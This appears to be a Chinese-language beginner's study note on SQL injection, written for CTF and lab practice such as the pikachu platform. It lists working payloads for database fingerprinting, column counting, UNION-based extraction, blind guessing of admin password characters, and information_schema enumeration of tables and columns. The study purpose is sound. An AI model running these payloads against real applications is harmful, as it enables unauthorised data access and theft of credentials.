SQL注入(1)
一些入门体会总结
判断数据库类型
1.and (select count(*)from sysobjects)>0 判断SQLserver
and (select count(*)from msysobjects)>0 判断access 返回不够权限 就是access数据库
在注入点后加上 ;- 如正常则是SQL数据库。错误的是access数据库
2. order by语句来查询数据表中存在多少字段 只有order by 的值小于等于字段数 才返回正确
3. 还可以直接联合查询
and 1=2 union select 字段长度 from 表
and 1=2 union select 字段 from 表
猜解表名 猜解是否存在admin表
and exists (select * from 表名)
猜解字段 字段:admin_name,admin_pass
and exists (select 字段 from 表名)
字段长度 >0可以换成>1,>2,直到猜中字段的长度
and (select top 1 len(字段) from 表名)>0
折半法猜出重要关键一环 猜密码 =0
and (select top 1 asc(mid(字段,1,1)) from 表名)>0 //猜解的密码需要转换格式,由asc 黄色递增
原理:and 1=1 返回正常 and 1=2 返回不正常 存在注入点 但不是感觉很实用,做CTF题还是可以
联合查询
这是重点
mariadb> select sex from member union select * from pikachu.users;
1222 - The used SELECT statements have a different number of columns
union查询得出的结果放在一个框框里,得确保两个查询得出的字段数目一样,而数字是可以替代字段的,所有联合查询可以用来取代order by。这才有: 数字一般不能作为字段,但不会报错(数字作为字段时应使用`8300`
注:member表有7行,users表有3行
mariadb> select sex,email from member where 1=2 union select level,1 from users;
使前面select为假,这样就得到union select结果
重要数据库
information_schema 这个数据库是MySQL和mariadb都必有的,里面包括了其他数据库的字段名,表名,数据库名等等各种详细信息
select schema_name from information_schema.schemate;
== show databases; 查询数据库,还有table_name,column_name
select group_concat(table_name),3 from information_schema.tables where table_schema='web18'--+
查询表名,web18是数据库名,可以用database()代替,0xhex代替
select group_concat(column_name) from information_schema.columns where table_name='flag'
查询字段,Flag是表名